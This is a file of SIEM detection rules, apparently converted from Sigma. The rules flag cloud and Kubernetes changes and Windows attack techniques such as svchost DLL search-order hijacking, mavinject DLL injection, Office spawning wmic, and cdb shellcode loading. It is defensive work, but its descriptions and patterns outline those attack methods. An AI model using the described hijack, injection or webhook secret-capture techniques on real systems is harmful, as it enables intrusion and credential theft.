{"description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Azure Kubernetes Admissions Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1357b52e-5e44-64c1-60fd-909d83b70499", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Admission Controller", "query": "(operationName:(MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/ADMISSIONREGISTRATION.K8S.IO* OR MICROSOFT.CONTAINERSERVICE\\/MANAGEDCLUSTERS\\/ADMISSIONREGISTRATION.K8S.IO*) AND operationName:(*\\/MUTATINGWEBHOOKCONFIGURATIONS\\/WRITE OR *\\/VALIDATINGWEBHOOKCONFIGURATIONS\\/WRITE))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1078", "T1552", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", "author": ["Austin Songer @austinsonger"], "enabled": false, "false_positives": ["Google Cloud Kubernetes Admission Controller may be done by a system administrator.", "If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "0534dbed-863c-d659-fd0c-cbe708d0ba3f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Kubernetes Admission Controller", "query": "(gcp.audit.method_name:admissionregistration.k8s.io.v* AND gcp.audit.method_name:(*.mutatingwebhookconfigurations.* OR *.validatingwebhookconfigurations.*) AND gcp.audit.method_name:(*create OR *patch OR *replace))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1078", "T1552", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Identifies when an EKS cluster is created or deleted.", "enabled": false, "false_positives": ["EKS Cluster being created or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "EKS Cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c09ffcd2-526f-641d-faa6-fbf2847b463e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS EKS Cluster Created or Deleted", "query": "(eventSource:\"eks.amazonaws.com\" AND eventName:(\"CreateCluster\" OR \"DeleteCluster\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when an ElastiCache security group has been modified or deleted.", "enabled": false, "false_positives": ["A ElastiCache security group deletion may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Security Group deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3682fc81-0562-3125-8d91-636b546750ce", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "AWS ElastiCache Security Group Modified or Deleted", "query": "(eventSource:\"elasticache.amazonaws.com\" AND eventName:(\"DeleteCacheSecurityGroup\" OR \"AuthorizeCacheSecurityGroupIngress\" OR \"RevokeCacheSecurityGroupIngress\" OR \"AuthorizeCacheSecurityGroupEgress\" OR \"RevokeCacheSecurityGroupEgress\"))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1531"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1531", "name": "Account Access Removal", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when an user or application modified the federation settings on the domain.", "enabled": false, "false_positives": ["Federation Settings being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b665e2a7-9afd-4d1a-5285-2fc30aaf64bc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Domain Federation Settings Modified", "query": "ActivityDisplayName:\"Set\\ federation\\ settings\\ on\\ domain\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when ClusterRoles/Roles are being modified or deleted.", "enabled": false, "false_positives": ["ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "38eb7774-fd1a-6cd3-6a8d-2101ed62566a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Kubernetes Sensitive Role Access", "query": "properties.message:(\"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLES\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLES\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLES\\/BIND\\/ACTION\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/ROLES\\/ESCALATE\\/ACTION\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLES\\/WRITE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLES\\/DELETE\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLES\\/BIND\\/ACTION\" OR \"MICROSOFT.KUBERNETES\\/CONNECTEDCLUSTERS\\/RBAC.AUTHORIZATION.K8S.IO\\/CLUSTERROLES\\/ESCALATE\\/ACTION\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when DNS zone is modified or deleted.", "enabled": false, "false_positives": ["DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ba89e976-550c-9cf4-770a-ccf84befcad0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure DNS Zone Modified or Deleted", "query": "(properties.message:MICROSOFT.NETWORK\\/DNSZONES* AND properties.message:(*\\/WRITE OR *\\/DELETE))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", "enabled": false, "false_positives": ["Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ae61ffa0-bae5-16de-d057-31da47e486c2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Firewall Rule Collection Modified or Deleted", "query": "properties.message:(\"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/APPLICATIONRULECOLLECTIONS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/APPLICATIONRULECOLLECTIONS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/NATRULECOLLECTIONS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/NATRULECOLLECTIONS\\/DELETE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/NETWORKRULECOLLECTIONS\\/WRITE\" OR \"MICROSOFT.NETWORK\\/AZUREFIREWALLS\\/NETWORKRULECOLLECTIONS\\/DELETE\")", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when secrets are modified or deleted in Azure.", "enabled": false, "false_positives": ["Secrets being modified or deleted may be performed by a system administrator.", "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "c0225a9e-9df5-4607-4092-50d9e4965844", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Azure Keyvault Secrets Modified or Deleted", "query": "properties.message:(\"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/WRITE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/DELETE\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/BACKUP\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/PURGE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/UPDATE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/RECOVER\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/RESTORE\\/ACTION\" OR \"MICROSOFT.KEYVAULT\\/VAULTS\\/SECRETS\\/SETSECRET\\/ACTION\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1552", "T1552"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1552", "name": "Unsecured Credentials", "reference": ""}, {"id": "T1552", "name": "Unsecured Credentials", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when sensitive information is re-identified in google Cloud.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ed70201f-1e80-6dcf-54ab-5f291650c764", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Re-identifies Sensitive Information", "query": "gcp.audit.method_name:\"projects.content.reidentify\"", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1565"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1565", "name": "Data Manipulation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", "author": ["Austin Songer"], "enabled": false, "false_positives": ["Automated processes that uses Terraform may lead to false positives.", "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2fa53409-5b05-584f-3a27-fc5324f70dc3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Suspicious SAML Activity", "query": "(((eventSource:\"sts.amazonaws.com\" AND eventName:\"AssumeRoleWithSAML\")) OR ((eventSource:\"iam.amazonaws.com\" AND eventName:\"UpdateSAMLProvider\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "Lateral Movement", "Privilege Escalation", "T1078", "T1548", "T1550", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}, {"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Identifies when suspicious SAML activity has occurred in AWS. An adversary could gain backdoor access via SAML.", "enabled": false, "false_positives": ["Automated processes that uses Terraform may lead to false positives.", "SAML Provider could be updated by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "SAML Provider being updated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "2fa53409-5b05-584f-3a27-fc5324f70dc3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AWS Suspicious SAML Activity", "query": "((eventSource:\"sts.amazonaws.com\" AND eventName:\"AssumeRoleWithSAML\") OR (eventSource:\"iam.amazonaws.com\" AND eventName:\"UpdateSAMLProvider\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "Lateral Movement", "Privilege Escalation", "T1078", "T1548", "T1550", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}, {"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Austin Songer"], "license": ""}
{"description": "Identifies when the Secrets are Modified or Deleted.", "enabled": false, "false_positives": ["Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "04057e42-dcc4-5a7c-deb5-cdf41514a906", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Google Cloud Kubernetes Secrets Modified or Deleted", "query": "gcp.audit.method_name:(io.k8s.core.v*.secrets.create OR io.k8s.core.v*.secrets.update OR io.k8s.core.v*.secrets.patch OR io.k8s.core.v*.secrets.delete)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1bcd54bd-a4eb-f40b-e543-808b0e324835", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Svchost DLL Search Order Hijack", "query": "((process.executable:*\\\\svchost.exe AND file.path:(*\\\\tsmsisrv.dll OR *\\\\tsvipsrv.dll OR *\\\\wlbsctrl.dll)) AND (NOT (file.path:C\\:\\\\Windows\\\\WinSxS\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}, {"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["SBousseaden"], "license": ""}
{"description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", "enabled": false, "false_positives": ["Legitimate uses of Mouse Lock software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "22e0d53c-9216-af90-9176-33d4b453d300", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Mouse Lock Credential Gathering", "query": "(Product:*Mouse\\ Lock* OR Company:*Misc314* OR process.command_line:*Mouse\\ Lock_*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1056"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Cian Heasley"], "license": ""}
{"description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6ae2306-62a5-2e73-7460-0fefe8bd5716", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Office Applications Spawning Wmi Cli", "query": "((process.executable:\"\\\\wbem\\\\WMIC.exe\" OR process.command_line:*wmic\\ * OR winlog.event_data.OriginalFileName:\"wmic.exe\" OR winlog.event_data.Description:\"WMI\\ Commandline\\ Utility\") AND process.parent.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "Initial execution of malicious document calls wmic to execute the file with regsvr32", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6ae2306-62a5-2e73-7460-0fefe8bd5716", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Office Applications Spawning Wmi Cli", "query": "((process.executable:*\\\\wbem\\\\WMIC.exe OR process.command_line:*wmic\\ *) AND process.parent.executable:(*\\\\winword.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\msaccess.exe OR *\\\\mspub.exe OR *\\\\eqnedt32.exe OR *\\\\visio.exe))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1047", "T1204", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "(aka_REvil)_Ransomware.yaml"], "timestamp_override": "event.ingested", "author": ["Vadim Khrykov (ThreatIntel)", "Cyb3rEng (Rule)"], "license": ""}
{"description": "Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0598d542-0fde-15e9-8109-59caac4dff4b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Mavinject Inject DLL Into Running Process", "query": "((process.command_line:*\\ \\/INJECTRUNNING* AND process.command_line:*.dll*) AND (winlog.event_data.OriginalFileName:(\"mavinject32.exe\" OR \"mavinject64.exe\") OR process.executable:(*\\\\mavinject32.exe OR *\\\\mavinject64.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1056", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}, {"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1056", "name": "Input Capture", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", "enabled": false, "false_positives": ["rpcnet.exe / rpcnetp.exe which is a lojack style software. "], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6e660b69-1d54-23e8-c7ec-a574fe1b0799", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Suspect Svchost Activity", "query": "((process.command_line:*svchost.exe AND process.executable:*\\\\svchost.exe) AND (NOT (process.parent.executable:(*\\\\rpcnet.exe OR *\\\\rpcnetp.exe) OR NOT _exists_:process.command_line)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "Privilege Escalation", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["David Burkett"], "license": ""}
{"description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", "enabled": false, "false_positives": ["Legitimate use of debugging tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24b8a848-0a0b-0cdd-3baf-ff8c28db8e06", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner", "query": "((process.executable:*\\\\cdb.exe OR winlog.event_data.OriginalFileName:\"CDB.Exe\") AND process.command_line:(*\\ \\-c\\ * OR *\\ \\-cf\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1106", "T1127", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Beyu Denis", "oscd.community", "Nasreddine Bencherchali"], "license": ""}
